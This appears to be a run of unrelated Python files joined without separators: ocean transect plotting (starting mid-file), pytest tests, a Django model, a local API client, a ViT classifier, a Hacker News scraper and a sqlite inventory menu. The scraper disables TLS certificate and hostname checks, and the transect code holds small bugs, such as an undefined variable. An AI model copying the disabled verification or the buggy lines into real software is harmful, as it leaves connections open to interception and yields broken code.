            lontmp[:(br+1)] -= 360
        if np.all(lontmp > 180):
            lontmp -= 360
        self.lon = lontmp
        self.lat = np.ma.getdata(latgrid[j,self.ii])

        self.meanlat = np.mean(self.lat)

        # add descriptions
        self.desc = 'zonal transect around {:.2f} N'.format(self.meanlat)
        self.lat0str = '{:.0f}S'.format(-lat0) if lat0 < 0 else '{:.0f}N'.format(lat0)
        self.meanlatstr = '{:.2f}S'.format(-self.meanlat) if lat0 < 0 else '{:.2f}N'.format(self.meanlat)

    def add_grid_bounds(self,lon_p=None,lat_p=None):
        """Generate grid cell boundaries
        either by sub-sampling lon and lat or from input arguments

        Parameters
        ----------
        lon_p,lat_p : 2D arrays, optional
            lon,lat axes of grid cell boundaries

        Attributes added
        ----------------
        lon_p,lat_p : lon,lat axes of p vertices (u boundaries)
        """
        if lon_p is None or lat_p is None:
            lo,la = geo.waypoints_segments(self.lon,self.lat,n=2)
            self.lon_p = lo[1:len(lo):2]
            self.lat_p = la[1:len(la):2]
        else:
            self.lon_p = lon_p[self.j,self.ii]
            self.lat_p = lat_p[self.j,self.ii]

    def add_dx_dist(self,dxgrid=None,dxgrid_u=None):
        """Generate grid spacing and distance axis
        either by calculating distances between lon/lat points or from input arguments

        Parameters
        ----------
        dxgrid : 2D array, optional
            distance between grid vertices (centered at boundaries)
        dxgrid_u : 2D array, optional
            distance between cell boundaries (centered at vertices)

        Attributes added
        ----------------
        dist : cumulative distance along transect from west to east
        dist_p : cumulative distance along transect at u grid boundaries (first point <0)
        """
        # compute transect axis distance in km
        if dxgrid is None:
            self.dx = geo.haversine(self.lon[ :-1],self.lat[ :-1],
                                    self.lon[1:  ],self.lat[1:  ])
        else:
            self.dx = dxgrid[self.j,self.ii[:-1]]
        self.dist = np.concatenate([np.zeros(1),np.cumsum(self.dx)])*1e-3

        # generate grid cell boundary axis
        if dxgrid_u is not None:
            self.dx_u = dxgrid_u[j,self.ii]
            self.dist_p = (np.concatenate(
                    [np.zeros(1),np.cumsum(self.dx_u[:-1])])-0.5*self.dx_u[0])*1e-3

    def plot_map(self,**plotkwargs):
        """Plot a the transect on a map.

        Parameters
        ----------
        **plotkwargs : keyword arguments, optional
            passed on to plot_zonal_transect_map
        """

        return plot_zonal_transect_map(trs=self,**plotkwargs)

def plot_zonal_transect_map(trs,m,meridians,parallels,
                            bathy=None,lon=None,lat=None,
                            figdir=None,prefix='',ext='.pdf'):
    """Plot a map of the transect. If bathy is provided, use as background.

    Parameters
    ----------
    trs : zonal transect object
       Zonal transect data
    m : mpl_tools.basemap instance
       Name of map projection defined in jbntools.maps
    bathy : ndarray, optional
       Bathymetry for background
    lon,lat : ndarrays, optional [required for bathy]
       Grid coordinates
    figdir : str, optional
       Directory where to save figures
    prefix : str, optional
       Figure name prefix
    """

    fig = plt.figure()
    ax = fig.gca()

    m.drawmeridians(meridians,labels=[0,0,0,1],zorder=9)
    m.drawparallels(parallels,labels=[1,0,0,0],zorder=9)

    if bathy is not None and lon is not None and lat is not None:
        xx,yy = m(lon,lat)
        vm = varmeta.VarMeta('depth')
        cnf = m.contourf(xx,yy,bathy,
                         levels=vm.levels,cmap=vm.cmap,norm=vm.norm,
                         extend='max',zorder=3)
        cb = plt.colorbar(cnf,shrink=0.8)
        cb.ax.set_ylim(cb.ax.get_ylim()[::-1])
    else:
        m.drawcoastlines(zorder=3)

    def _draw_transect(tr,label=None):
        mx,my = m(tr.lon,tr.lat)
        m.plot(mx,my,'rx',zorder=8)

    if isinstance(trs,dict):
        for tr,key in trs.iteritems():
            _draw_transect(tr,label=key)
        fname = 'zonal_transects_{}_map'.format(prefix)
    elif isinstance(trs,list):
        for tr in trs:
            _draw_transect(tr)
        fname = 'zonal_transects_{}_map'.format(prefix)
    else:
        tr = trs
        ax.set_title(tr.desc)
        _draw_transect(tr)
        fname = 'zonal_transect_{}_{}_map'.format(tr.lat0str,prefix)

    if figdir:
        figname = os.path.join(figdir,fname+ext)
        if ext == '.pdf':
            fig.savefig(figname,bbox_inches='tight',pad_inches=0.5)
        elif ext in ['.png','.jpg']:
            fig.savefig(figname,dpi=600)
        else:
            fig.savefig(figname)
        plt.close(fig)
    else:
        fig.show()
    return fig

def plot_meridional_velocity_transect(vvel,z,tr,vlines=[],xmode='lon',
                                      figdir=None,prefix='',use_contourf=False):
    """Plot a meridional velocity transect using pcolor

    Parameters
    ----------
    vvel : ndarray or netcdf4 variable
        meridional velocity transect (z,x)
    z : ndarray
        Vertical axis (cell boundaries)
    tr : ZonalTransect instance
        Transect spline data
    vlines : list, optional
        vertical lines to draw at specified positions
    xmode : str, 'lon' or 'dist'
        Plot x axis in coordinates or distance from origin
    figdir : str, optional
        Path to figure directory. If provided, figures are saved
    prefix : str, optional
        Prefix for figure file name (e.g. dataset ID)
    use_contourf : bool
        Use contourf instead of pcolormesh to draw map background
    """
    fig = plt.figure(figsize=(10, 4))
    ax = fig.gca()
    ax.set_title(tr.desc)

    if xmode == 'lon':
        x = tr.lon
    elif xmode == 'dist':
        x = tr.dist
        ax.set_xlabel('Distance in km')
    else:
        raise NotImplementedError

    vm = varmeta.VarMeta('vel')
    if use_contourf:
        cnf = ax.contourf(x,z,vvel,
                          levels=vm.levels,cmap=vm.cmap,norm=vm.norm,
                          extend='both',zorder=3)
    else:
        cnf = ax.pcolormesh(x,z,vvel,
                            cmap=vm.cmap,norm=vm.norm,
                            vmin=vm.vmin,vmax=vm.vmax,
                            zorder=3)
    ax.set_ylabel('Depth in m')
    ax.set_ylim(np.max(z),0)
    ax.set_xlim(x[0],x[-1])
    ax.grid(True)

    cb = plt.colorbar(cnf)
    cb.set_label('{} in {}'.format(vm.long,vm.units))

    # add vertical lines
    for vlinekwargs in vlines:
        ax.axvline(zorder=9,**vlinekwargs)

    # save figure if figdir is provided
    if figdir:
        figname = os.path.join(figdir,'zonal_transect_{0}_{1}_vel.pdf'.format(tr.lat0str,prefix))
        fig.savefig(figname,bbox_inches='tight')
        plt.close(fig)
    else:
        fig.show()
    return fig


import pytest
from unittest import mock
from app.db.models import Model
from app.module.logic import Logic
from app.module.model_classes import MODEL_CLASSES

@mock.patch('app.db.database.sessionmaker')
def test_get_model_classes_not_empty(mock_sessionmaker: mock.MagicMock):
    logic = Logic(mock_sessionmaker)
    assert len(logic.get_model_classes()) > 0

@mock.patch('app.db.database.sessionmaker')
def test_fit_model_bad_model_type_raise_exception(mock_sessionmaker: mock.MagicMock):
    logic = Logic(mock_sessionmaker)
    with pytest.raises(FileNotFoundError):
        logic.fit_model('Bad model type', {}, [], [])

@mock.patch('app.db.database.sessionmaker')
def test_fit_model_add_new_model(mock_sessionmaker: mock.MagicMock):
    model_class = list(MODEL_CLASSES.keys())[0]
    model_class_object = list(MODEL_CLASSES.values())[0]
    mock_sessionmaker.execute.return_value.fetchall.return_value = []

    logic = Logic(mock_sessionmaker)
    new_model = logic.fit_model(model_class, {}, [[1, 2, 3], [2, 2, 3], [3, 2, 1]], [1, 2, 3])

    assert new_model['model_type'] == str(model_class)
    assert new_model['model_name'] == str(model_class_object())

@mock.patch('app.db.database.sessionmaker')
def test_fit_model_refit_exist_model(mock_sessionmaker: mock.MagicMock):
    model_class = list(MODEL_CLASSES.keys())[0]
    model_class_object = list(MODEL_CLASSES.values())[0]
    mock_exist_object = Model(id=1, model_type=str(model_class), model_name=str(model_class_object()), model_data=b'')
    mock_sessionmaker.execute.return_value.fetchall.return_value = [mock_exist_object]

    logic = Logic(mock_sessionmaker)
    new_model = logic.fit_model(model_class, {}, [[1, 2, 3], [2, 2, 3], [3, 2, 1]], [1, 2, 3])

    assert new_model['id'] == mock_exist_object.id
    assert new_model['model_type'] == mock_exist_object.model_type
    assert new_model['model_name'] == mock_exist_object.model_name


import logging

from django.urls import reverse
from django.utils.text import slugify
from core.settings.contrib import STOP_WORDS

from django.db import models
from django.utils.translation import ugettext_lazy as _
from changes.models.entry import Entry

logger = logging.getLogger(__name__)

# noinspection PyUnresolvedReferences
class Category(models.Model):
    """A category model e.g. gui, backend, web site etc."""
    name = models.CharField(
        help_text=_('Name of this category.'),
        max_length=255,
        null=False,
        blank=False,
        unique=False)  # there is a unique together rule in meta class below

    sort_number = models.SmallIntegerField(
        help_text=(
            'The order in which this category is listed within a '
            'project'),
        default=0
    )
    slug = models.SlugField()
    project = models.ForeignKey('base.Project', on_delete=models.CASCADE)
    objects = models.Manager()

    # noinspection PyClassicStyleClass
    class Meta:
        """Meta options for the category class."""
        unique_together = (
            ('name', 'project'),
            ('project', 'slug')
        )
        app_label = 'changes'
        ordering = ['name']

    def save(self, *args, **kwargs):
        if not self.pk:
            words = self.name.split()
            filtered_words = [t for t in words if t.lower() not in STOP_WORDS]
            new_list = ' '.join(filtered_words)
            self.slug = slugify(new_list)[:50]
        super(Category, self).save(*args, **kwargs)

    def __unicode__(self):
        return u'%s : %s' % (self.project.name, self.name)

    def __str__(self):
        return '%s : %s' % (self.project.name, self.name)

    def get_absolute_url(self):
        return reverse('category-detail', kwargs={
            'slug': self.slug,
            'project_slug': self.project.slug
        })

    def has_entries(self):
        """Does this Category have related Entries?

        :return: True or False
        :rtype: bool
        """
        if Entry.objects.filter(category=self).exists():
            return True
        else:
            return False


import requests

url = 'http://127.0.0.1:1080'  # localhost and the defined port + endpoint
body = {"rest_name": "강남역점 홍콩반점0410", "rest_category": "밀집도"}
response = requests.post(url, data=body)
response.json()

'''
import requests
import json

r = requests.post("http://127.0.0.1:5000/predict", json = {"rest_name": "강남역점 홍콩반점0410",
"rest_category": "밀집도"})
print(r.json())

with open('C:\\Users\\user\\Documents\\rest_data.json', 'rt', encoding='utf-8-sig') as f:
    json_data = json.load(f)

try:
  r = requests.get(BASE, json = json.dumps(json_data, ensure_ascii = False, indent="\t"), verify=False, timeout=5)
  print(r.json())
except requests.exceptions.ConnectionError as e:
    r = "No response"
#except:
  #time.sleep(6)
  #r = requests.get(BASE, json = json.dumps(json_data, ensure_ascii = False, indent="\t"), verify=False)
'''
#try:

'''
try:
  r = requests.get(BASE, json=  {
    "FIELD1": 2159,
    "rest_name": "강남역점 홍콩반점0410",
    "rest_category": "중국식",
    "rest_number": "02  553 9295",
    "rest_address": "서울특별시 강남구 역삼동 827-4번지 ",
    "rest_location": "[37.4966545, 127.0304097]",
    "rest_rating": 84.59,
    "rest_density": 52.29,
    "rest_recommend": 61.97999999999999
  })
except:
  time.sleep(2)
  requests.get(BASE, json=  {
    "FIELD1": 2159,
    "rest_name": "강남역점 홍콩반점0410",
    "rest_category": "중국식",
    "rest_number": "02  553 9295",
    "rest_address": "서울특별시 강남구 역삼동 827-4번지 ",
    "rest_location": "[37.4966545, 127.0304097]",
    "rest_rating": 84.59,
    "rest_density": 52.29,
    "rest_recommend": 61.97999999999999
  })

#for i in range(len())

data = [{"likes": 78, "name": "Tim", "views": 100000},
        {"likes": 10000, "name": "Tim", "views": 80000},
        {"likes": 35, "name": "Tim", "views": 2000}]

for i in range(len(data)):
  response = requests.put(BASE + "video/" + str(i), data[i])
  print(response.json())

input()
response = requests.get(BASE + "video/6")
print(response.json())

'''


import torch.nn as nn
import torch.nn.functional as F
from transformers import ViTModel
from transformers import ViTFeatureExtractor

class ViTForImageClassification(nn.Module):
    def __init__(self, num_labels=3):
        super(ViTForImageClassification, self).__init__()
        self.vit = ViTModel.from_pretrained('google/vit-base-patch16-224-in21k')
        self.dropout = nn.Dropout(0.1)
        self.classifier = nn.Linear(self.vit.config.hidden_size, num_labels)
        self.num_labels = num_labels

    def forward(self, pixel_values, labels):
        outputs = self.vit(pixel_values=pixel_values)
        output = self.dropout(outputs.last_hidden_state[:,0])
        logits = self.classifier(output)

        loss = None
        if labels is not None:
            loss_fct = nn.CrossEntropyLoss()
            loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
        if loss is not None:
            return logits, loss.item()
        else:
            return logits, None


import urllib.request, urllib.parse, urllib.error
from bs4 import BeautifulSoup
import xlwt
from xlwt import Workbook
import ssl

ctx = ssl.create_default_context()
ctx.check_hostname = None
ctx.verify_mode = ssl.CERT_NONE

url = 'https://news.ycombinator.com/'

fhand = urllib.request.urlopen(url, context=ctx).read()
raw_html = BeautifulSoup(fhand, 'html.parser')

items = raw_html.findAll("tr", {"class" : "athing"});
subtext = raw_html.findAll("td", {"class" : "subtext"})

workbook = xlwt.Workbook()
sheet = workbook.add_sheet("News Sheet")

sheet.write(0, 0, 'HEADING')
sheet.write(0, 1, 'SCORE')
sheet.write(0, 2, 'TIME')
sheet.write(0, 3, 'AUTHOR')
sheet.write(0, 4, 'LINK')

for i in range(len(items)):
    heading_container = items[i].find("a", {"class" : "storylink"})
    _heading = heading_container.text
    _heading_link = heading_container.get("href")

    _heading_author = subtext[i].a.text
    score_container = subtext[i].find("span", {"class" : "score"})
    _heading_score = score_container.text
    age_container = subtext[i].find("span", {"class" : "age"})
    _heading_age = age_container.a.text

    print(_heading)
    print(_heading_score)
    print(_heading_age)
    print(_heading_author)
    print(_heading_link + "\n")

    sheet.write(i+1, 0, _heading)
    sheet.write(i+1, 1, _heading_score)
    sheet.write(i+1, 2, _heading_age)
    sheet.write(i+1, 3, _heading_author)
    sheet.write(i+1, 4, _heading_link)

workbook.save('News.xls')


import sqlite3

MIN_CHOICE = 1
MAX_CHOICE = 5
CREATE = 1
READ = 2
UPDATE = 3
DELETE = 4
EXIT = 5

def main():
    choice = 0
    while choice != EXIT:
        display_menu()
        choice = get_menu_choice()

        if choice == CREATE:
            create()
        elif choice == READ:
            read()
        elif choice == UPDATE:
            update()
        elif choice == DELETE:
            delete()

# The display_menu function displays the main menu.
def display_menu():
    print('\n----- Inventory Menu -----')
    print('1. Create a new item')
    print('2. Read an item')
    print('3. Update an item')
    print('4. Delete an item')
    print('5. Exit the program')

# The get_menu_choice function gets the user's menu choice.
def get_menu_choice():
    # Get the user's choice.
    choice = int(input('Enter your choice: '))

    # Validate the input.
    while choice < MIN_CHOICE or choice > MAX_CHOICE:
        print(f'Valid choices are {MIN_CHOICE} through {MAX_CHOICE}.')
        choice = int(input('Enter your choice: '))

    return choice

# The create function creates a new item.
def create():
    print('Create New Item')
    name = input('Item Name: ')
    price = input('Price: ')
    insert_row(name, price)

# The read function reads an existing item.
def read():
    name = input('Enter an item name to search for: ')
    num_found = display_item(name)
    print(f'{num_found} row(s) found.')

# The update function updates an existing item's data.
def update():
    # First let the user search for the row.
    read()

    # Get the ID of the selected item.
    selected_id = int(input('Select an Item ID: '))

    # Get the new values for item name and price.
    name = input('Enter the new item name: ')
    price = input('Enter the new price: ')

    # Update the row.
    num_updated = update_row(selected_id, name, price)
    print(f'{num_updated} row(s) updated.')

# The delete function deletes an item.
def delete():
    # First let the user search for the row.
    read()

    # Get the ID of the selected item.
    selected_id = int(input('Select an Item ID to delete: '))

    # Confirm the deletion.
    sure = input('Are you sure you want to delete this item? (y/n) ')
    if sure.lower() == 'y':
        num_deleted = delete_row(selected_id)
        print(f'{num_deleted} row(s) deleted.')

# The insert_row function inserts a row into the Inventory table.
def insert_row(name, price):
    conn = None
    try:
        conn = sqlite3.connect('inventory.db')
        cur = conn.cursor()
        cur.execute('''INSERT INTO Inventory (ItemName, Price)
                       VALUES (?, ?)''',
                    (name, price))
        conn.commit()
    except sqlite3.Error as err:
        print('Database Error', err)
    finally:
        if conn != None:
            conn.close()

# The display_item function displays all items
# with a matching ItemName.
def display_item(name):
    conn = None
    results = []
    try:
        conn = sqlite3.connect('inventory.db')
        cur = conn.cursor()
        cur.execute('''SELECT * FROM Inventory
                       WHERE lower(ItemName) == ?''',
                    (name,))
        results = cur.fetchall()

        for row in results:
            print(f'ID: {row[0]:<3} Name: {row[1]:<15} '
                  f'Price: {row[2]:<6}')
    except sqlite3.Error as err:
        print('Database Error', err)
    finally:
        if conn != None:
            conn.close()
    # Return the number of matching rows.
    return len(results)

# The update_row function updates an existing row with a new
# ItemName and Price. The number of rows updated is returned.
def update_row(id, name, price):
    conn = None
    try:
        conn = sqlite3.connect('inventory.db')
        cur = conn.cursor()
        cur.execute('''UPDATE Inventory
                       SET ItemName = ?, Price = ?
                       WHERE ItemID == ?''',
                    (name, price, id))
        conn.commit()
        num_updated = cur.rowcount
    except sqlite3.Error as err:
        print('Database Error', err)
    finally:
        if conn != None:
            conn.close()

    return num_updated

# The delete_row function deletes an existing item.
# The number of rows deleted is returned.
def delete_row(id):
    conn = None
    try:
        conn = sqlite3.connect('inventory.db')
        cur = conn.cursor()
        cur.execute('''DELETE FROM Inventory
                       WHERE ItemID == ?''',
                    (id,))
        conn.commit()
        num_deleted = cur.rowcount
    except sqlite3.Error as err:
        print('Database Error', err)
    finally:
        if conn != None:
            conn.close()

    return num_deleted

# Execute the main function.
if __name__ == '__main__':
    main()